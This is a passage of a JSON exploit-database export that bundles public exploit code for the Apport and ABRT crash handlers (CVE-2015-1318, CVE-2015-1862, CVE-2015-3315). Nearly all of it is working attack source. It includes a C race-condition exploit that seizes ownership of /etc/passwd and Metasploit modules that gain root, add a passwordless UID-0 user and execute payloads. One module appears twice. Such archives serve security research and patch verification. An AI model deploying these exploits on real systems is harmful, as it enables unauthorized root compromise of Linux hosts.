continue\"); \n} \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/131423/apportabrt-exec.txt"}, {"lastseen": "2018-02-03T08:25:17", "description": "", "cvss3": {}, "published": "2018-02-03T00:00:00", "type": "packetstorm", "title": "Apport / ABRT chroot Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318"], "modified": "2018-02-03T00:00:00", "id": "PACKETSTORM:146235", "href": "https://packetstormsecurity.com/files/146235/Apport-ABRT-chroot-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apport / ABRT chroot Privilege Escalation', \n'Description' => %q{ \nThis module attempts to gain root privileges on Linux systems by \ninvoking the default coredump handler inside a namespace (\"container\"). \n \nApport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are \nvulnerable, due to a feature which allows forwarding reports to \na container's Apport by changing the root directory before loading \nthe crash report, causing 'usr/share/apport/apport' within the crashed \ntask's directory to be executed. \n \nSimilarly, Fedora is vulnerable when the kernel crash handler is \nconfigured to change root directory before executing ABRT, causing \n'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be \nexecuted. \n \nIn both instances, the crash handler does not drop privileges, \nresulting in code execution as root. \n \nThis module has been tested successfully on Apport 2.14.1 on \nUbuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'StA(c)phane Graber', # Independent discovery, PoC and patch \n'Tavis Ormandy', # Independent discovery and C exploit \n'Ricardo F. Teixeira', # shell exploit \n'Brendan Coles <bcoles[at]gmail.com>' # Metasploit \n], \n'DisclosureDate' => 'Mar 31 2015', \n'Platform' => [ 'linux' ], \n'Arch' => [ ARCH_X86, ARCH_X64 ], \n'SessionTypes' => [ 'shell', 'meterpreter' ], \n'Targets' => [[ 'Auto', {} ]], \n'References' => \n[ \n[ 'CVE', '2015-1318' ], \n[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], \n# Exploits \n[ 'EDB', '36782' ], \n[ 'EDB', '36746' ], \n[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ], \n# ABRT (Fedora) \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], \n# Apport (Ubuntu) \n[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ], \n[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ], \n[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ], \n[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ] \n] \n)) \nregister_options( \n[ \nOptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) \n]) \nend \n \ndef base_dir \ndatastore['WritableDir'] \nend \n \ndef check \nkernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first \n \nif kernel_version < Gem::Version.new('3.12') \nvprint_error \"Linux kernel version #{kernel_version} is NOT vulnerable\" \nreturn CheckCode::Safe \nend \n \nvprint_good \"Linux kernel version #{kernel_version} is vulnerable\" \n \nkernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern' \n \n# Vulnerable core_pattern (abrt): \n# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e \n# Patched systems no longer preface the command with /usr/sbin/chroot \n# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e \nif kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp') \nvprint_good 'System is configured to chroot ABRT for crash reporting' \nreturn CheckCode::Vulnerable \nend \n \n# Vulnerable core_pattern (apport): \n# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P \nif kernel_core_pattern.include? 'apport' \nvprint_good 'System is configured to use Apport for crash reporting' \n \nres = cmd_exec 'apport-cli --version' \n \nif res.blank? \nvprint_error 'Apport is NOT installed' \nreturn CheckCode::Safe \nend \n \napport_version = Gem::Version.new(res.split('-').first) \n \nif apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1') \nvprint_good \"Apport version #{apport_version} is vulnerable\" \nreturn CheckCode::Vulnerable \nend \n \nvprint_error \"Apport version #{apport_version} is NOT vulnerable\" \n \nreturn CheckCode::Safe \nend \n \nvprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting' \n \nCheckCode::Safe \nend \n \ndef upload_and_chmodx(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \ncmd_exec \"chmod +x '#{path}'\" \nregister_file_for_cleanup path \nend \n \ndef exploit \nif check != CheckCode::Vulnerable \nfail_with Failure::NotVulnerable, 'Target is not vulnerable' \nend \n \n# Upload Tavis Ormandy's newpid exploit: \n# - https://www.exploit-db.com/exploits/36746/ \n# Cross-compiled with: \n# - i486-linux-musl-cc -static newpid.c \npath = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid' \nfd = ::File.open path, 'rb' \nexecutable_data = fd.read fd.stat.size \nfd.close \n \nexecutable_name = \".#{rand_text_alphanumeric rand(5..10)}\" \nexecutable_path = \"#{base_dir}/#{executable_name}\" \nupload_and_chmodx executable_path, executable_data \n \n# Upload payload executable \npayload_name = \".#{rand_text_alphanumeric rand(5..10)}\" \npayload_path = \"#{base_dir}/#{payload_name}\" \nupload_and_chmodx payload_path, generate_payload_exe \n \n# newpid writes an 'exploit' directory \n# which must be removed manually if exploitation fails \nregister_dir_for_cleanup \"#{base_dir}/exploit\" \n \n# Change working directory to base_dir, \n# allowing newpid to create the required hard links \ncmd_exec \"cd '#{base_dir}'\" \n \nprint_status 'Launching exploit...' \noutput = cmd_exec executable_path \noutput.each_line { |line| vprint_status line.chomp } \n \n# Check for root privileges \nid = cmd_exec 'id' \n \nunless id.include? 'root' \nfail_with Failure::Unknown, 'Failed to gain root privileges' \nend \n \nprint_good 'Upgraded session to root privileges' \nvprint_line id \n \n# Execute payload executable \nvprint_status 'Executing payload...' \ncmd_exec payload_path \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/146235/apport_abrt_chroot_priv_esc.rb.txt"}, {"lastseen": "2016-12-05T22:18:49", "description": "", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "packetstorm", "title": "Fedora abrt Race Condition", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "PACKETSTORM:131422", "href": "https://packetstormsecurity.com/files/131422/Fedora-abrt-Race-Condition.html", "sourceData": "`#include <stdlib.h> \n#include <unistd.h> \n#include <stdbool.h> \n#include <stdio.h> \n#include <signal.h> \n#include <err.h> \n#include <string.h> \n#include <alloca.h> \n#include <limits.h> \n#include <sys/inotify.h> \n#include <sys/prctl.h> \n#include <sys/types.h> \n#include <sys/types.h> \n#include <sys/wait.h> \n#include <sys/stat.h> \n \n// \n// This is a race condition exploit for CVE-2015-1862, targeting Fedora. \n// \n// Note: It can take a few minutes to win the race condition. \n// \n// -- taviso@cmpxchg8b.com, April 2015. \n// \n// $ cat /etc/fedora-release \n// Fedora release 21 (Twenty One) \n// $ ./a.out /etc/passwd \n// [ wait a few minutes ] \n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race... \n// Exploit successful... \n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd \n// \n \nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\"; \nstatic const size_t kMaxEventBuf = 8192; \nstatic const size_t kUnlinkAttempts = 8192 * 2; \nstatic const int kCrashDelay = 10000; \n \nstatic pid_t create_abrt_events(const char *name); \n \nint main(int argc, char **argv) \n{ \nint fd, i; \nint watch; \npid_t child; \nstruct stat statbuf; \nstruct inotify_event *ev; \nchar *eventbuf = alloca(kMaxEventBuf); \nssize_t size; \n \n// First argument is the filename user wants us to chown(). \nif (argc != 2) { \nerrx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\"); \n} \n \n// This is required as we need to make different comm names to avoid \n// triggering abrt rate limiting, so we fork()/execve() different names. \nif (strcmp(argv[1], \"crash\") == 0) { \n__builtin_trap(); \n} \n \n// Setup inotify, and add a watch on the abrt directory. \nif ((fd = inotify_init()) < 0) { \nerr(EXIT_FAILURE, \"unable to initialize inotify\"); \n} \n \nif ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) { \nerr(EXIT_FAILURE, \"failed to create new watch descriptor\"); \n} \n \n// Start causing crashes so that abrt generates reports. \nif ((child = create_abrt_events(*argv)) == -1) { \nerr(EXIT_FAILURE, \"failed to generate abrt reports\"); \n} \n \n// Now start processing inotify events. \nwhile ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) { \n \n// We can receive multiple events per read, so check each one. \nfor (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) { \nchar dirname[NAME_MAX]; \nchar mapsname[NAME_MAX]; \nchar command[1024]; \n \n// If this is a new ccpp report, we can start trying to race it. \nif (strncmp(ev->name, \"ccpp\", 4) != 0) { \ncontinue; \n} \n \n// Construct pathnames. \nstrncpy(dirname, kAbrtPrefix, sizeof dirname); \nstrncat(dirname, ev->name, sizeof dirname); \n \nstrncpy(mapsname, dirname, sizeof dirname); \nstrncat(mapsname, \"/maps\", sizeof mapsname); \n \nfprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name); \n \n// Check if we need to wait for the next event or not. \nwhile (access(dirname, F_OK) == 0) { \nfor (i = 0; i < kUnlinkAttempts; i++) { \n// We need to unlink() and symlink() the file to win. \nif (unlink(mapsname) != 0) { \ncontinue; \n} \n \n// We won the first race, now attempt to win the \n// second race.... \nif (symlink(argv[1], mapsname) != 0) { \nbreak; \n} \n \n// This looks good, but doesn't mean we won, it's possible \n// chown() might have happened while the file was unlinked. \n// \n// Give it a few microseconds to run chown()...just in case \n// we did win. \nusleep(10); \n \nif (stat(argv[1], &statbuf) != 0) { \nerrx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]); \n} \n \nif (statbuf.st_uid != getuid()) { \nbreak; \n} \n \nfprintf(stderr, \"\\tExploit successful...\\n\"); \n \n// We're the new owner, run ls -l to show user. \nsprintf(command, \"ls -l %s\", argv[1]); \nsystem(command); \n \nreturn EXIT_SUCCESS; \n} \n} \n \nfprintf(stderr, \"\\tDidn't win, trying again!\\n\"); \n} \n} \n \nerr(EXIT_FAILURE, \"failed to read inotify event\"); \n} \n \n// This routine attempts to generate new abrt events. We can't just crash, \n// because abrt sanely tries to rate limit report creation, so we need a new \n// comm name for each crash. \nstatic pid_t create_abrt_events(const char *name) \n{ \nchar *newname; \nint status; \npid_t child, pid; \n \n// Create a child process to generate events. \nif ((child = fork()) != 0) \nreturn child; \n \n// Make sure we stop when parent dies. \nprctl(PR_SET_PDEATHSIG, SIGKILL); \n \nwhile (true) { \n// Choose a new unused filename \nnewname = tmpnam(0); \n \n// Make sure we're not too fast. \nusleep(kCrashDelay); \n \n// Create a new crashing subprocess. \nif ((pid = fork()) == 0) { \nif (link(name, newname) != 0) { \nerr(EXIT_FAILURE, \"failed to create a new exename\"); \n} \n \n// Execute crashing process. \nexecl(newname, newname, \"crash\", NULL); \n \n// This should always work. \nerr(EXIT_FAILURE, \"unexpected execve failure\"); \n} \n \n// Reap crashed subprocess. \nif (waitpid(pid, &status, 0) != pid) { \nerr(EXIT_FAILURE, \"waitpid failure\"); \n} \n \n// Clean up the temporary name. \nif (unlink(newname) != 0) { \nerr(EXIT_FAILURE, \"failed to clean up\"); \n} \n \n// Make sure it crashed as expected. \nif (!WIFSIGNALED(status)) { \nerrx(EXIT_FAILURE, \"something went wrong\"); \n} \n} \n \nreturn child; \n} \n \n`\n", "cvss": {"score": 5.3, "vector": "AV:LOCAL/AC:LOW/Au:UNKNOWN/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/131422/fedoraabrt-racecondition.txt"}, {"lastseen": "2018-02-17T17:02:52", "description": "", "cvss3": {}, "published": "2018-02-15T00:00:00", "type": "packetstorm", "title": "ABRT raceabrt Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-3315", "CVE-2015-1862"], "modified": "2018-02-15T00:00:00", "id": "PACKETSTORM:146411", "href": "https://packetstormsecurity.com/files/146411/ABRT-raceabrt-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'ABRT raceabrt Privilege Escalation', \n'Description' => %q{ \nThis module attempts to gain root privileges on Fedora systems with \na vulnerable version of Automatic Bug Reporting Tool (ABRT) configured \nas the crash handler. \n \nA race condition allows local users to change ownership of arbitrary \nfiles (CVE-2015-3315). This module uses a symlink attack on \n'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, \nthen adds a new user with UID=0 GID=0 to gain root privileges. \nWinning the race could take a few minutes. \n \nThis module has been tested successfully on ABRT packaged version \n2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop \n19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. \n \nFedora 21 and Red Hat 7 systems are reportedly affected, but untested. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Tavis Ormandy', # Discovery and C exploit \n'Brendan Coles <bcoles[at]gmail.com>' # Metasploit \n], \n'DisclosureDate' => 'Apr 14 2015', \n'Platform' => [ 'linux' ], \n'Arch' => [ ARCH_X86, ARCH_X64 ], \n'SessionTypes' => [ 'shell', 'meterpreter' ], \n'Targets' => [[ 'Auto', {} ]], \n'References' => \n[ \n[ 'CVE', '2015-3315' ], \n[ 'EDB', '36747' ], \n[ 'BID', '75117' ], \n[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], \n[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], \n[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], \n[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], \n[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], \n[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], \n[ 'URL', 'https://access.redhat.com/articles/1415483' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] \n] \n)) \nregister_options( \n[ \nOptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), \nOptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]), \nOptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) \n]) \nend \n \ndef base_dir \ndatastore['WritableDir'] \nend \n \ndef timeout \ndatastore['TIMEOUT'] \nend \n \ndef check \nif cmd_exec('lsattr /etc/passwd').include? 'i' \nvprint_error 'File /etc/passwd is immutable' \nreturn CheckCode::Safe \nend \n \nkernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' \nunless kernel_core_pattern.include? 'abrt-hook-ccpp' \nvprint_error 'System is NOT configured to use ABRT for crash reporting' \nreturn CheckCode::Safe \nend \nvprint_good 'System is configured to use ABRT for crash reporting' \n \nif cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true' \nvprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\" \nreturn CheckCode::Safe \nend \nvprint_good 'System does not appear to have been patched' \n \nunless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true' \nvprint_error \"Directory '/var/tmp/abrt' does NOT exist\" \nreturn CheckCode::Safe \nend \nvprint_good \"Directory '/var/tmp/abrt' exists\" \n \nif cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' \nvprint_error 'abrt-ccp service NOT running' \nreturn CheckCode::Safe \nend \nvprint_good 'abrt-ccpp service is running' \n \nabrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\\s+/)[1] \nunless abrt_version.blank? \nvprint_status \"System is using ABRT package version #{abrt_version}\" \nend \n \nCheckCode::Detected \nend \n \ndef upload_and_chmodx(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \ncmd_exec \"chmod +x '#{path}'\" \nregister_file_for_cleanup path \nend \n \ndef exploit \nif check != CheckCode::Detected \nfail_with Failure::NotVulnerable, 'Target is not vulnerable' \nend \n \n@chown_file = '/etc/passwd' \n \nif datastore['USERNAME'].blank? \n@username = rand_text_alpha rand(7..10) \nelse \n@username = datastore['USERNAME'] \nend \n \n# Upload Tavis Ormandy's raceabrt exploit: \n# - https://www.exploit-db.com/exploits/36747/ \n# Cross-compiled with: \n# - i486-linux-musl-cc -static raceabrt.c \npath = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt' \nfd = ::File.open path, 'rb' \nexecutable_data = fd.read fd.stat.size \nfd.close \n \nexecutable_name = \".#{rand_text_alphanumeric rand(5..10)}\" \nexecutable_path = \"#{base_dir}/#{executable_name}\" \nupload_and_chmodx executable_path, executable_data \n \n# Change working directory to base_dir \ncmd_exec \"cd '#{base_dir}'\" \n \n# Launch raceabrt executable \nprint_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\" \noutput = cmd_exec \"#{executable_path} #{@chown_file}\", nil, timeout \noutput.each_line { |line| vprint_status line.chomp } \n \n# Check if we own /etc/passwd \nunless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true' \nfail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\" \nend \n \nprint_good \"Success! '#{@chown_file}' is writable\" \n \n# Add new user with no password \nprint_status \"Adding #{@username} user to #{@chown_file} ...\" \ncmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\" \n \n# Upload payload executable \npayload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\" \nupload_and_chmodx payload_path, generate_payload_exe \n \n# Execute payload executable \nvprint_status 'Executing payload...' \ncmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\" \nend \n \ndef on_new_session(session) \nif session.type.to_s.eql? 'meterpreter' \nsession.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' \nend \n \n# Reinstate /etc/passwd root ownership and remove new user \nroot_owns_passwd = false \nnew_user_removed = false \n \nif session.type.to_s.eql? 'meterpreter' \n# Reinstate /etc/passwd root ownership \nsession.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\" \n \n# Remove new user \nsession.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\" \n \n# Wait for clean up \nRex.sleep 5 \n \n# Check root ownership \npasswd_stat = session.fs.file.stat(@chown_file).stathash \nif passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0 \nroot_owns_passwd = true \nend \n \n# Check for new user in /etc/passwd \npasswd_contents = session.fs.file.open(@chown_file).read.to_s \nunless passwd_contents.include? \"#{@username}:\" \nnew_user_removed = true \nend \nelsif session.type.to_s.eql? 'shell' \n# Reinstate /etc/passwd root ownership \nsession.shell_command_token \"chown root:root #{@chown_file}\" \n \n# Remove new user \nsession.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\" \n \n# Check root ownership \npasswd_owner = session.shell_command_token \"ls -l #{@chown_file}\" \nif passwd_owner.to_s.include? 'root' \nroot_owns_passwd = true \nend \n \n# Check for new user in /etc/passwd \npasswd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\" \nunless passwd_user.to_s.include? \"#{@username}:\" \nnew_user_removed = true \nend \nend \n \nunless root_owns_passwd \nprint_warning \"Could not reinstate root ownership of #{@chown_file}\" \nend \n \nunless new_user_removed \nprint_warning \"Could not remove user '#{@username}' from #{@chown_file}\" \nend \nrescue => e \nprint_error \"Error during cleanup: #{e.message}\" \nensure \nsuper \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/146411/abrt_raceabrt_priv_esc.rb.txt"}], "zdt": [{"lastseen": "2018-03-19T21:11:16", "description": "This Metasploit module attempts to gain root privileges on Linux systems by invoking the default coredump handler inside a namespace (\"container\"). Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing 'usr/share/apport/apport' within the crashed task's directory to be executed. Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be executed. In both instances, the crash handler does not drop privileges, resulting in code execution as root. This Metasploit module has been tested successfully on Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.", "cvss3": {}, "published": "2018-02-03T00:00:00", "type": "zdt", "title": "Apport / ABRT chroot Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318"], "modified": "2018-02-03T00:00:00", "id": "1337DAY-ID-29699", "href": "https://0day.today/exploit/description/29699", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Apport / ABRT chroot Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Linux systems by\r\n invoking the default coredump handler inside a namespace (\"container\").\r\n\r\n Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are\r\n vulnerable, due to a feature which allows forwarding reports to\r\n a container's Apport by changing the root directory before loading\r\n the crash report, causing 'usr/share/apport/apport' within the crashed\r\n task's directory to be executed.\r\n\r\n Similarly, Fedora is vulnerable when the kernel crash handler is\r\n configured to change root directory before executing ABRT, causing\r\n 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be\r\n executed.\r\n\r\n In both instances, the crash handler does not drop privileges,\r\n resulting in code execution as root.\r\n\r\n This module has been tested successfully on Apport 2.14.1 on\r\n Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'StA(c)phane Graber', # Independent discovery, PoC and patch\r\n 'Tavis Ormandy', # Independent discovery and C exploit\r\n 'Ricardo F. Teixeira', # shell exploit\r\n 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Mar 31 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2015-1318' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\r\n # Exploits\r\n [ 'EDB', '36782' ],\r\n [ 'EDB', '36746' ],\r\n [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],\r\n # ABRT (Fedora)\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\r\n # Apport (Ubuntu)\r\n [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],\r\n [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],\r\n [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],\r\n [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]\r\n ]\r\n ))\r\n register_options(\r\n [\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ])\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir']\r\n end\r\n\r\n def check\r\n kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first\r\n\r\n if kernel_version < Gem::Version.new('3.12')\r\n vprint_error \"Linux kernel version #{kernel_version} is NOT vulnerable\"\r\n return CheckCode::Safe\r\n end\r\n\r\n vprint_good \"Linux kernel version #{kernel_version} is vulnerable\"\r\n\r\n kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'\r\n\r\n # Vulnerable core_pattern (abrt):\r\n # kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\r\n # Patched systems no longer preface the command with /usr/sbin/chroot\r\n # kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\r\n if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')\r\n vprint_good 'System is configured to chroot ABRT for crash reporting'\r\n return CheckCode::Vulnerable\r\n end\r\n\r\n # Vulnerable core_pattern (apport):\r\n # kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P\r\n if kernel_core_pattern.include? 'apport'\r\n vprint_good 'System is configured to use Apport for crash reporting'\r\n\r\n res = cmd_exec 'apport-cli --version'\r\n\r\n if res.blank?\r\n vprint_error 'Apport is NOT installed'\r\n return CheckCode::Safe\r\n end\r\n\r\n apport_version = Gem::Version.new(res.split('-').first)\r\n\r\n if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')\r\n vprint_good \"Apport version #{apport_version} is vulnerable\"\r\n return CheckCode::Vulnerable\r\n end\r\n\r\n vprint_error \"Apport version #{apport_version} is NOT vulnerable\"\r\n\r\n return CheckCode::Safe\r\n end\r\n\r\n vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'\r\n\r\n CheckCode::Safe\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n register_file_for_cleanup path\r\n end\r\n\r\n def exploit\r\n if check != CheckCode::Vulnerable\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n # Upload Tavis Ormandy's newpid exploit:\r\n # - https://www.exploit-db.com/exploits/36746/\r\n # Cross-compiled with:\r\n # - i486-linux-musl-cc -static newpid.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n upload_and_chmodx executable_path, executable_data\r\n\r\n # Upload payload executable\r\n payload_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n payload_path = \"#{base_dir}/#{payload_name}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # newpid writes an 'exploit' directory\r\n # which must be removed manually if exploitation fails\r\n register_dir_for_cleanup \"#{base_dir}/exploit\"\r\n\r\n # Change working directory to base_dir,\r\n # allowing newpid to create the required hard links\r\n cmd_exec \"cd '#{base_dir}'\"\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec executable_path\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n # Check for root privileges\r\n id = cmd_exec 'id'\r\n\r\n unless id.include? 'root'\r\n fail_with Failure::Unknown, 'Failed to gain root privileges'\r\n end\r\n\r\n print_good 'Upgraded session to root privileges'\r\n vprint_line id\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec payload_path\r\n end\r\nend\n\n# 0day.today [2018-03-19] #", "sourceHref": "https://0day.today/exploit/29699", "cvss": {"score": 7.2, "vector": 